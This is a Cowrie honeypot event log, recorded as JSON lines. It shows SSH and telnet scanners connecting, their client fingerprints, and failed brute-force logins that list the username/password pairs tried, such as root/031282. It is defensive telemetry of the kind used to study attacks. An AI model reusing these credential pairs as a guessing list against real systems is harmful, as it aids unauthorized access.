{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58072,"dst_ip":"159.203.135.109","dst_port":23,"session":"8329f0c9f3f1","protocol":"telnet","message":"New connection: 107.6.151.170:58072 (159.203.135.109:23) [session: 8329f0c9f3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:00.813405Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":60512,"dst_ip":"10.17.0.5","dst_port":22,"session":"942fb423548d","protocol":"ssh","message":"New connection: 43.134.49.202:60512 (10.17.0.5:22) [session: 942fb423548d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:02.041738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:02.045647Z","src_ip":"43.134.49.202","session":"942fb423548d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:02.291942Z","src_ip":"43.134.49.202","session":"942fb423548d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"renault","password":"renault","message":"login attempt [renault/renault] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:03.298873Z","src_ip":"43.134.49.202","session":"942fb423548d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:04.545576Z","src_ip":"43.134.49.202","session":"942fb423548d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":36598,"dst_ip":"159.203.135.109","dst_port":22,"session":"2701a8b87456","protocol":"ssh","message":"New connection: 162.144.105.39:36598 (159.203.135.109:22) [session: 2701a8b87456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:13.765663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:13.769208Z","src_ip":"162.144.105.39","session":"2701a8b87456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:13.858272Z","src_ip":"162.144.105.39","session":"2701a8b87456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blofin","password":"blofin123","message":"login attempt [blofin/blofin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:14.126821Z","src_ip":"162.144.105.39","session":"2701a8b87456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:15.510855Z","src_ip":"162.144.105.39","session":"2701a8b87456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.307334899902344,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:27.120589Z","src_ip":"107.6.151.170","session":"8329f0c9f3f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":54148,"dst_ip":"159.203.135.109","dst_port":22,"session":"a524747f2ce1","protocol":"ssh","message":"New connection: 193.37.70.224:54148 (159.203.135.109:22) [session: a524747f2ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:30.266890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:30.270983Z","src_ip":"193.37.70.224","session":"a524747f2ce1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:30.366714Z","src_ip":"193.37.70.224","session":"a524747f2ce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"031282","message":"login attempt [root/031282] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:30.647983Z","src_ip":"193.37.70.224","session":"a524747f2ce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:31.744566Z","src_ip":"193.37.70.224","session":"a524747f2ce1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":37500,"dst_ip":"159.203.135.109","dst_port":22,"session":"c516fb68471b","protocol":"ssh","message":"New connection: 162.241.177.22:37500 (159.203.135.109:22) [session: c516fb68471b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:36.732231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:36.735869Z","src_ip":"162.241.177.22","session":"c516fb68471b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:36.763244Z","src_ip":"162.241.177.22","session":"c516fb68471b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"J1t0$Tr0ng!W0rd","message":"login attempt [root/J1t0$Tr0ng!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:36.850517Z","src_ip":"162.241.177.22","session":"c516fb68471b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:29:37.881624Z","src_ip":"162.241.177.22","session":"c516fb68471b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":39598,"dst_ip":"10.17.0.5","dst_port":22,"session":"b07f735e12cd","protocol":"ssh","message":"New connection: 80.66.85.226:39598 (10.17.0.5:22) [session: b07f735e12cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:30:25.179599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:30:25.182898Z","src_ip":"80.66.85.226","session":"b07f735e12cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:30:25.274039Z","src_ip":"80.66.85.226","session":"b07f735e12cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16041982","message":"login attempt [root/16041982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:30:25.547973Z","src_ip":"80.66.85.226","session":"b07f735e12cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:30:26.639711Z","src_ip":"80.66.85.226","session":"b07f735e12cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":57256,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b7fa3d87d56","protocol":"ssh","message":"New connection: 43.134.49.202:57256 (10.17.0.5:22) [session: 2b7fa3d87d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:30:40.792491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:30:40.796652Z","src_ip":"43.134.49.202","session":"2b7fa3d87d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:30:41.034159Z","src_ip":"43.134.49.202","session":"2b7fa3d87d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"service2","password":"service2","message":"login attempt [service2/service2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:30:42.017299Z","src_ip":"43.134.49.202","session":"2b7fa3d87d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:30:43.257810Z","src_ip":"43.134.49.202","session":"2b7fa3d87d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":42874,"dst_ip":"10.17.0.5","dst_port":22,"session":"d40335d3daed","protocol":"ssh","message":"New connection: 213.202.230.81:42874 (10.17.0.5:22) [session: d40335d3daed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:00.370772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:00.374972Z","src_ip":"213.202.230.81","session":"d40335d3daed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:00.473126Z","src_ip":"213.202.230.81","session":"d40335d3daed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pepe456","message":"login attempt [root/pepe456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:00.753309Z","src_ip":"213.202.230.81","session":"d40335d3daed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:01.849694Z","src_ip":"213.202.230.81","session":"d40335d3daed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":46390,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb3850a1b6ba","protocol":"ssh","message":"New connection: 23.88.42.180:46390 (10.17.0.5:22) [session: cb3850a1b6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:05.425760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:05.429846Z","src_ip":"23.88.42.180","session":"cb3850a1b6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:05.525544Z","src_ip":"23.88.42.180","session":"cb3850a1b6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coq789","message":"login attempt [root/coq789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:05.813179Z","src_ip":"23.88.42.180","session":"cb3850a1b6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:06.912395Z","src_ip":"23.88.42.180","session":"cb3850a1b6ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33992,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a99315f0021","protocol":"ssh","message":"New connection: 62.133.62.83:33992 (10.17.0.5:22) [session: 9a99315f0021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:18.506121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:18.513070Z","src_ip":"62.133.62.83","session":"9a99315f0021","protocol":"ssh"}
